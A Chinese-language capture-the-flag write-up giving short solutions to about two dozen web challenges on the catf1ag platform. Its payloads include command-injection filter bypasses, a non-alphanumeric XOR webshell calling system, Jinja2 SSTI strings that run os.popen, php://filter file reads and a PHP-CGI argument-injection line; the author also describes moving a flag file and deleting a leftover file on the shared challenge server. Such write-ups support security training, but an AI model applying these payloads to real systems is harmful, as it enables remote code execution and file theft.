catf1ag Web writeup(wp) 可能會持續更新

文章目錄

      • 命令執行之我在幹什麼
      • 簽到題
      • webshell
      • 無字符webshell
      • int
      • 命令執行
      • 《我的女友是機器人》
      • 變量覆蓋_extract
      • 等於False
      • 啥都沒瞭
      • 文件包含
      • strcmp
      • easy_serialize
      • 什麼?有後門
      • easy_js
      • get_file
      • 命令執行之我是誰
      • secret_key
      • easy_flask
      • 小矛盾
      • where is flags?
      • random_flag
      • xxelab_1
      • CGI
      • xxelab2

命令執行之我在幹什麼

換行繞過strstr,%09繞空格
a=yyds%0als%09/
看見flag在根目錄,但是過濾瞭?*和flag
用正則

?a=yyds%0Anl%09/fla[g]

簽到題

源代碼

webshell

網站被黑瞭,發現robots.txt,訪問裡面的地址,源代碼有個aGFja2Vy
base解碼得到hacker
於是傳

webshe11.php?hacker=system('cat /flag');

其次,我發現掃描有一個1.txt,直接訪問就是flag,應該是哪位好心人寫的。
所以我也好心的刪掉瞭。

無字符webshell

過濾A-Za-z0-9
參考淺析無字符數字構造webshell
采用裡面的異或,即

$_="`{{{"^"?/";${$_}[_](${$_}[__]);#$_GET[_]($_GET[__])

於是得到最終payload

?cmd=$_="`{{{"^"?/";${$_}[_](${$_}[__]);&_=assert&__=system('tac /flag');

當然如果你是在我寫wp之前做的,你會發現這道題直接訪問flag.txt就可以拿到flag瞭,而我看我以前的payload是tac f111ag。
為瞭繼續當好心人,我就好心的mv flag.txt /flag,這樣大傢就能學習到無字符webshell從而拿到flag瞭。

int

弱比較
?num=666a

命令執行

?cmd=tac get_flag

《我的女友是機器人》

訪問/robots.txt
得到flag地址 /f1ag_is_in_there!!!
直接訪問下載flag即可

變量覆蓋_extract

要使$init_str = ‘6’
其中有個extract函數。從數組中將變量導入到當前的符號表
在php手冊明確寫瞭警告:不要對不可信的數據使用 extract(),類似用戶輸入 (例如 $_GET、$_FILES)
所以在自己用的時候不要寫
這裡直接GET傳

?init_str=6

等於False

傳數組,md5函數報錯NULL,NULL和False弱比較就相等瞭

?num[]=1

啥都沒瞭

描述:小v在使用**寫文章,好巧不巧,居然主機關瞭,小v以為啥都沒瞭,沒想到…
猜測vim交換文件
訪問.index.php.swp即可

文件包含

php://偽協議
源代碼有註釋:flag in get_flag

?file=php://filter/read=convert.base64-encode/resource=get_flag

strcmp

$str!=$init_str且strcmp($init_str,$str)==0)
這裡繞strcmp隻需要傳入的str是一個數組或者一個object即可

?str[]=1

easy_serialize

這裡要求序列化之後的內容相等
直接php運行如何echo出來即可

<?phpclass flag_in_there{    public $name;    public $age;    public function __construct($name,$age){        $this->name = $name;        $this->age = $age;    }}$flag = new flag_in_there('vfree','19');$ser = serialize($flag);echo $ser;?>

什麼?有後門

D盾掃即可,然後註意substr_replace(‘zysdasd’,‘gsctf’,2);
所以flag是zygsctf{zygsctf}

easy_js

這裡弱比較,如果左邊是數字右邊也會轉換成相同類型,但是右邊開頭是字母所以右邊的值為0,左邊傳一個0即可

?key={"flag":0}

get_file

源代碼發現fake flag
然後在第167行發現註釋file=
於是傳file=flag即可得到flag

命令執行之我是誰

用passthru,nl

?cmd=passthru("nl fla*");

secret_key

傳入cmd=,頁面上就顯示welcome to flag $cmd
SSTI
隨便去百度找一個payload
這裡推薦搜ctfshow ssti
因為我還沒學,隻能這樣做瞭
flag在app.py裡

?cmd={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("tac app.py").read()')}}

easy_flask

flag in /app/flag
同上

?cmd={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /app/flag").read()')}}

小矛盾

用科學計數法
傳入?num=9e20
然後看響應頭

where is flags?

一個在源代碼,一個在響應頭
拼接起來之後base64解碼即可

random_flag

是隨機一行一行的輸出,所以file包含自己
其中某次會刷到

file= $rand_num = rand(0,count($file)); //flag in catf1ag.php 

然後寫腳本一直訪問catf1ag.php,有catf1ag就輸出。

import requestswhile True:    r = requests.get(url="http://ctf.vfree.ltd:9000/web31?file=catf1ag.php").text    if('catf' in r):        print(r)        exit()

xxelab_1

這個看完XXE基礎知識再來做就行瞭,然後註意格式

CGI

這題真記不到瞭,隔瞭一個月

就放個payload吧,自己去研究

GET: /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//inputPOST:

xxelab2

php://偽協議讀flag.php